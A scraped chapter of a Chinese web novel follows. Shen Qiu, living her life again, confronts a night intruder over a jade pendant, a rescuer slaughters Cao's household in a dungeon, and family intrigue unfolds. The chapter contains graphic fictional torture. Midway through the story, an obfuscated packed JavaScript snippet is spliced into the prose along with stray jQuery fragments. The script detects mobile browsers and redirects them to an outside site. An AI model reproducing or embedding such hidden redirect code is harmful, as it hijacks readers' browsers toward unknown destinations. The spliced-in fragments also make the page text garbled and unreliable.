默认冷灰
24号文字
方正启体

7. 第 7 章

作者:挽乾本书字数:K更新时间:
    沈裘昏睡不醒,大夫说不清原因,只说喝几副汤药就能好,裴氏觉得他是庸医,吵闹了一通,后院隔了好久才安静下来。


    夜深,星星点缀夜幕,屋内烛火燃尽,几缕烟丝化为须有,万籁寂静下,只剩虫鸣鸟叫,天地玄音。


    窗户慢慢打开一角,有人翻身进来,脚步声慢慢走向床边。竹筒照起微弱的光线,火苗斜照将周遭用暖色照亮。黑暗中的人眼神扫向床边,脚步声戛然而止。床上空空荡荡,哪里来的人?


    煤炭落进火炉里,传来滋滋的声响,针落有声,身后突然燃起火光,将他的背影映照在墙上,影子在漆黑的墙上摇曳。


    男子慢慢转身,一双眸子明媚的与她相望。


    沈裘长膝跪坐在书案后,炉火升起的热气缠绕在脸侧,摇曳的光点越来越大,让她的脸变得极其魅惑,她左手缠绕着发丝,右手从桌上拾起那半块玉佩,朝他莞尔一笑:“公子,是在找这个吗?”


    半开的窗户袭来屡屡凉风,两道烛火投下的影子在墙面上不停摇晃。相撞的视线,步步紧逼,气氛有些压抑,周遭的空气越来越燥热,空气仿佛都停滞下来,只剩下他们焦距的视线。


    “我知道这对你很重要。”沈裘睫毛微颤,轻笑着低眸,拢了拢肩上的披肩,起身慢慢走过去,在他两步远的地方停下来,抬头时目光真诚与纯良:“还给你。”


    待到那手要伸过来时,沈裘的手又往后收了收,那只手恰好碰上她的腰间,温热的温度传递到指尖,他微顿。


    沈裘将玉佩放到眼前打量,眼睛弯的像是月牙:“只是我有些好奇,这么精巧的玉佩,刻着的究竟是什么动物?”


    男子低眸看着自己空荡的手心,慢慢收手,背在身后的手泛起银光。突然那只手被攥住,温热的手指耐心的掰开他的掌心。


    沈裘将那半块玉佩放进他的掌心:“不说也没关系,我只是好奇罢了。”她踮起脚,“东西,我已经还你了,你若再待下去,孤男寡女,我可就解释不清了。”


    男子往后退了一步,将半块玉佩收入袖中,走到窗口后停了停,侧头望向沈裘,只短短一秒,翻窗离开。


    沈裘坐回桌边,抽出压在书本下的那张麻纸,手指覆上那黑色的墨迹上,沿着墨迹一路滑下去。


    “白虎...玄武...还是龙?”


    她闭上眼,细细思索,袖子中的东西顺着袖子一点一点滑下来,终于...


    啪嗒一声。


    沈裘睁开眼,睨着地上的银刃,弯腰拾起,重新塞回袖口,没太在意。


    皎洁的月色下,男子将带毒的刀一点一点抹净,转头望了一眼亮着烛火的屋子,眸底升起淡淡的趣味。


    “姑娘,这样的人放在身边当真安全吗?”桃叶从门外走进来,担忧道。


    沈裘纤细的手指绕着长发,眼神凝视着半敞的窗户,想了想道:“去查一查,禹城附近有没有人家的公子突然不见了。”


    夜半三更,村边狗吠不止。


    曹家地牢里,血流满地,十字架上捆着一个只剩半口气的男子。


    “你还不明白吗?你的殿下早就抛弃你了,不然怎么自己跑了,留你一个人在这里。”曹老爷坐到木椅上,望着眼前的十字架,好心道:“我保证,只要你说出你们殿下的行踪,分你万两黄金,保你后半生无忧。”


    “啐。”


    一口唾沫啐在曹老爷脸上。


    曹老爷抹了一把脸,朝旁边人挥了挥手。


    旁边的仆役用钳子钳起滚烫的烙铁,重重落在男子的胸口。男子发出痛苦的低吼,仿佛下一秒就会气绝而亡。


    曹老爷扇了扇扑鼻的血腥味,拿出香囊晃了晃,勉强缓解了那股冲鼻的味道:“我没必要同你一直耗着,京中有人想买他的命,你们殿下于我而言只是一桩生意罢了,若是我不想做这桩生意,将五皇子身为质子从东夷逃回来的消息透露出去,京城中有的是人找他,找到他也只是时间问题罢了,到时候他还是会被送到东夷,你呢还是会被困在这里。”


    突然,门吱呀一声,地牢的烛火微晃。


    十字架上的男子慢慢睁开眼,脸上撑起一抹笑意,下巴微扬,如同看着一个下种人:“你以为我们殿下是如何逃回来的。”


    是单枪匹马。


    杀回来的啊。


    “什么意思?” 曹老爷感觉背后泛凉,蹙眉往后看了一眼,话语落下,他突然感觉胸口微凉,缓缓低下头,一把弯刀已然贯穿了他的心脏。


    他倒在血泊之中,从血泊的倒影中,看到一个一个死士倒在了地上。最后一个头颅,滚落在他眼前。他瞳孔微缩,想要往后爬。


    但那插在心口的弯刀,已经轻易将她勾起,如同一个血偶,毫无反驳之力,任由锋利的刀片撕裂心口,残存的神志在摇晃中飘忽不定。


    黑暗中的男子,踢开脚边的人头,烙铁的红光照在他温润的脸上,慢慢道:“你也配卖我的命。”


    弯刀刮骨,稍加一弯,将他最后的神志扭曲,他克制不住的喊起来。


    尖叫,是地狱的高歌。


    风声从后袭来,男子眯眼微微侧身。


    烛火微晃。


    “门怎么开着。”曹总管蹙眉走进来,关上门缓步走进来,“老爷,来打探消息的那些人,名单我给您整理好了。”


    “快…走…”阴影下,曹老爷的四肢以一个奇怪的姿势贴在地上,眼神直直的望着那道身影,手指抓着地板,含糊的重复这句话,身体不受控制的一节一节被往后拖着,地上血红的指印,拖的很长很长。


    银色的飞刃穿梭而过,穿入门口那人的脖颈,泛黄的纸倾斜着落下,在血水中浸染。


    地上的人瞳孔微缩,下一秒身体腾空,在空中弯曲成奇怪的弧度,一头栽进了水缸里,水面泛起一阵泡泡,很快安静下来。


    十字架上的人被扶起,被血水浸染的纸被人捡起。


    油灯滚落在地上,顺着地面蔓延,火势越来越大。


    窗口吱呀了一声,屋子里没了活物,只剩火舞。


    春日一早,麻雀绕梁。


    自那日沈裘当街救人之后,沈戈端对沈裘关心了不少,甚至还注意起她的衣食住行起来,往她那个后院塞了好些东西。


    下人随主子,那帮婢女和仆役对这个新来的二姑娘,也不再有从前那般放肆,对裴氏的态度也端正了不少。


    裴氏趁机进了后厨,发觉无人再对她阴阳怪气,便大着胆子煮了很多补药。


    一早上,光是补药,沈裘就喝了好几壶,最后实在喝不下了,沈裘唯有卸下伪装下床,证明自己确实好了很多。


    裴氏看到后,总算没再进厨房。


    本以为这就结束了,没想到


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583951|171641||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    裴氏留意到她柜子里千篇一律的素色襦裙,说这些衣裙都衬不出她的好看,带着两个丫头便出去买衣服了。


    沈裘望着那道背影,无奈的笑出声。


    上辈子,沈家早早将她送走,裴氏在家中无人陪伴说话,时常是自说自话或同草木说话。如今,她回来了,裴氏也总算是有了生气。


    桃叶从门外走来:“姑娘,什么也没查到,这附近都说没少过人。”


    “我知道了。”沈裘端起桌上的补药,她也不急于知晓此人的身份,只是好奇罢了。她走出房间,绕过长廊,打算偷偷去东厨把剩下的补药倒了。


    再贵的药材,补多了,都适得其反。


    当脚步踩过正堂时,她听到了沈亦安的啜泣。


    沈裘许久不见她,只知道她继上次之后,一直被禁足在屋里,怎的今日也学聪明了开始扮可怜了么。


    不过以沈戈端的性子,这招倒是有用。


    沈裘只觉得她变聪明了些许,没觉有什么,兵来将挡水来土掩,不过如此而已。


    “曹家后院起火,曹大人死了,爹求你让我去看看曹哥哥吧,他现在定然很伤心。”


    沈裘的脚步微顿,眼神骤然上抬,眸中暗色渐浓。


    曹大人死了?


    上辈子,曹大人可没这么快死。好像是她要和曹池成婚那时候,曹大人因病离世,曹池那时候还守孝了几年。


    不对。


    一定有什么不对。


    她一定做了什么事情,影响了上辈子的结局。


    沈裘歪头,到底是什么呢。


    沈戈端在里面扶着额头:“曹家没你想的那么简单,你现在去了就是惹祸上身!”


    “爹,你怎么这般冷血无情!”沈亦安哭着跑出来,正撞上端着药碗的沈裘,“你怎么在这里!”


    沈裘回神,蹙起那两双柳叶眉:“曹哥哥怎么样了,我也担心他。”


    “要你管!”这句话无疑于给沈亦安的火上浇油,怒火中烧之际,推掉她手中的补药,转身跑开。


    沈裘也不恼,蹲下身捡地上碎掉的瓷碗。


    “哎?裘儿,你怎么来了,身体还没好呢,快回去休息。”沈戈端道。


    沈裘道:“爹爹不必担心,女儿已经觉得好多了。”


    沈戈端上下打量了她一眼,看她脸色却是好些了,才点点头,远望那道跑走的身影,没忍住蹙眉摇摇头道:“你阿姐...也是我把她给惯坏了,你放心我一定让她同你道歉。”


    沈裘拾着瓷片,抬头莞尔一笑:“没事,只是可惜了这一碗补汤。”她低眸道,“听说爹爹近来繁忙,日夜呆在书房操劳,所以才炖了这一碗。”


    这份委屈的喃喃,无形中带了几分抱怨,倒是增添了几分孩子气。


    “还是裘儿懂事。”沈戈端拉起她,从她手里接过瓷片,“这些东西让下人收拾就好,你回去好好休息,日后有时间再为爹煮。”


    沈裘轻轻点头,甜甜道:“好。”


    沈戈端这几日忙是真的,听说这几日,沈戈端一直挂心陆氏的疯病,即使在准备升官的宴席,笼络朝臣,也能抽出空隙去寻医问药。


    她都快感动了,为这坚贞不渝的爱。


    她突然想起什么,心中一跳,眼神眯起一丝意味不明的笑意:“爹,我救下的人被安置在何处,我想去看看他。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)